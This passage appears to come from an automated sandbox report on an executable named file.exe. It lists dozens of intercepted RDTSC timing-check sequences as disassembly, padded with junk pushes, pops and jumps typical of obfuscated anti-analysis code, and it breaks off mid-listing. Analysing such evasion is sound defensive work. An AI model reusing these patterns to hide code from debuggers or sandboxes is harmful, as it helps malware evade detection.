Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6217A5 second address: 6217DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE6h 0x00000007 jmp 00007F8904F6CEE7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6217DC second address: 6217E4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6217E4 second address: 6217E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6217E9 second address: 6217EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621C50 second address: 621C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621DC7 second address: 621DD4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621DD4 second address: 621DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE6h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F8904F6CEDDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621F69 second address: 621F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F8904F778B4h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621F84 second address: 621F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F6CEDFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628D8E second address: 628D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628D92 second address: 628D9C instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F6CED6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627B18 second address: 627B3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8904F778B1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627B3E second address: 627B6B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8904F6CEE7h 0x00000008 jmp 00007F8904F6CEE1h 0x0000000d jc 00007F8904F6CEDCh 0x00000013 jc 00007F8904F6CED6h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627D4E second address: 627D7C instructions: 0x00000000 rdtsc 0x00000002 js 00007F8904F778A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8904F778B5h 0x00000014 push edi 0x00000015 jbe 00007F8904F778A6h 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627D7C second address: 627D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62819A second address: 6281A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007F8904F778A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6282C7 second address: 6282CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628432 second address: 62843D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F8904F778A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62843D second address: 628452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8904F6CED6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007F8904F6CED6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDFDA second address: 5DDFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDFDE second address: 5DDFE8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8904F6CED6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDFE8 second address: 5DDFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8904F778B1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628C3A second address: 628C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDF4 second address: 62BE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8904F778B5h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB29A second address: 5AB2A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB2A0 second address: 5AB2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F8904F778A6h 0x0000000b jmp 00007F8904F778ABh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB2B8 second address: 5AB2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8904F6CEDFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63020F second address: 630242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8904F778B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6308A9 second address: 6308B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jne 00007F8904F6CED6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6308B9 second address: 6308C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FED4 second address: 62FEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEDE second address: 62FEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778B2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEF6 second address: 62FF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F8904F6CEE5h 0x0000000b jmp 00007F8904F6CEDFh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F8904F6CEEAh 0x00000019 jmp 00007F8904F6CEE4h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630D1B second address: 630D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8904F778B1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630D34 second address: 630D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630D3E second address: 630D54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jne 00007F8904F778A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F8904F778A6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD512 second address: 5FD579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8904F6CEE9h 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D17F3h], edi 0x00000013 lea eax, dword ptr [ebp+1248F268h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F8904F6CED8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 or ecx, dword ptr [ebp+122D21E6h] 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F8904F6CEDEh 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD579 second address: 5FD57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD57D second address: 5FD581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDB0E second address: 441C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F778B6h 0x00000008 jns 00007F8904F778A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov dx, si 0x00000017 push dword ptr [ebp+122D0311h] 0x0000001d mov edi, 485E0400h 0x00000022 call dword ptr [ebp+122D35A2h] 0x00000028 pushad 0x00000029 jmp 00007F8904F778ADh 0x0000002e xor eax, eax 0x00000030 cld 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jns 00007F8904F778A7h 0x0000003b mov dword ptr [ebp+122D2B07h], eax 0x00000041 sub dword ptr [ebp+122D2671h], ebx 0x00000047 sub dword ptr [ebp+122D2671h], esi 0x0000004d mov esi, 0000003Ch 0x00000052 mov dword ptr [ebp+122D2671h], ebx 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c jns 00007F8904F778B1h 0x00000062 lodsw 0x00000064 mov dword ptr [ebp+122D2671h], ebx 0x0000006a mov dword ptr [ebp+122D2671h], esi 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jmp 00007F8904F778B7h 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d mov dword ptr [ebp+122D2671h], esi 0x00000083 nop 0x00000084 push ebx 0x00000085 je 00007F8904F778ACh 0x0000008b js 00007F8904F778A6h 0x00000091 pop ebx 0x00000092 push eax 0x00000093 push eax 0x00000094 push edx 0x00000095 jmp 00007F8904F778ABh 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDBBB second address: 5FDBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDCA7 second address: 5FDCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDD50 second address: 5FDD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDD56 second address: 5FDD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDD5A second address: 5FDD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b call 00007F8904F6CEDFh 0x00000010 mov edi, dword ptr [ebp+122D19D5h] 0x00000016 pop edi 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8904F6CEE5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE068 second address: 5FE0FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8904F778B7h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F8904F778B3h 0x00000015 nop 0x00000016 sbb ch, FFFFFFBEh 0x00000019 sub dword ptr [ebp+122D2047h], esi 0x0000001f push 00000004h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007F8904F778A8h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b push edi 0x0000003c sub di, 88A2h 0x00000041 pop edi 0x00000042 add ecx, dword ptr [ebp+122D195Fh] 0x00000048 stc 0x00000049 nop 0x0000004a jp 00007F8904F778AEh 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE0FC second address: 5FE106 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8904F6CED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE106 second address: 5FE10B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE426 second address: 5FE42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE7EE second address: 5FE828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F778B8h 0x00000008 jne 00007F8904F778A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F8904F778AAh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE828 second address: 5FE835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8904F6CEDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A439 second address: 63A446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8904F778A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A446 second address: 63A44A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC03 second address: 63CC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC09 second address: 63CC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC0E second address: 63CC16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC16 second address: 63CC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC1A second address: 63CC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC20 second address: 63CC2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CD8C second address: 63CD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CF0C second address: 63CF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8904F6CED6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D09E second address: 63D0A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D0A2 second address: 63D0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8904F6CED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D0AC second address: 63D0B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D0B0 second address: 63D0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F6CEE8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D0D1 second address: 63D0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8904F778A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F8904F778A6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D0EA second address: 63D0F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F3F1 second address: 63F3FB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8904F778A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F3FB second address: 63F42B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8904F6CEE6h 0x00000008 ja 00007F8904F6CED6h 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F8904F6CED6h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F42B second address: 63F435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F58C second address: 63F5B8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8904F6CEF3h 0x00000008 jnc 00007F8904F6CED6h 0x0000000e jmp 00007F8904F6CEE7h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F5B8 second address: 63F5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F5C3 second address: 63F5C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645DB5 second address: 645DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645DBB second address: 645DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F6CEE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645DD2 second address: 645DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645DDB second address: 645DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6446B2 second address: 6446C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8904F778A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6446C1 second address: 6446C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644800 second address: 644821 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8904F778ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8904F778B0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644821 second address: 644827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644827 second address: 644839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8904F778AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644839 second address: 64483D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6449BA second address: 6449C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F8904F778A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6449C6 second address: 6449CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644B45 second address: 644B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CC1 second address: 644CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CC5 second address: 644CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE27D second address: 5FE2FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F8904F6CEDCh 0x0000000c jng 00007F8904F6CED6h 0x00000012 popad 0x00000013 nop 0x00000014 push ecx 0x00000015 mov dl, DBh 0x00000017 pop ecx 0x00000018 mov ebx, dword ptr [ebp+1248F2A7h] 0x0000001e call 00007F8904F6CEDCh 0x00000023 add edx, dword ptr [ebp+122D2B5Bh] 0x00000029 pop edx 0x0000002a add eax, ebx 0x0000002c jmp 00007F8904F6CEDDh 0x00000031 push eax 0x00000032 jmp 00007F8904F6CEDDh 0x00000037 mov dword ptr [esp], eax 0x0000003a mov di, si 0x0000003d sub dword ptr [ebp+12469BFEh], esi 0x00000043 push 00000004h 0x00000045 mov dword ptr [ebp+122D1F44h], eax 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f jmp 00007F8904F6CEE7h 0x00000054 push edx 0x00000055 